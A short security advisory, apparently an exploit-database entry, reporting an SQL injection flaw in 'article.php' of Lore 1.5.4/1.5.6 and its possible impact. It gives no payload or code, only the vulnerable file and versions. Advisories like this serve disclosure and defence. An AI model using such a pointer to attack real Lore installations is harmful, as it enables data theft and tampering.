Lore 1.5.4/1.5.6 - 'article.php' SQL Injection

source: https://www.securityfocus.com/bid/15665/info

Lore is prone to an SQL injection vulnerability because it fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
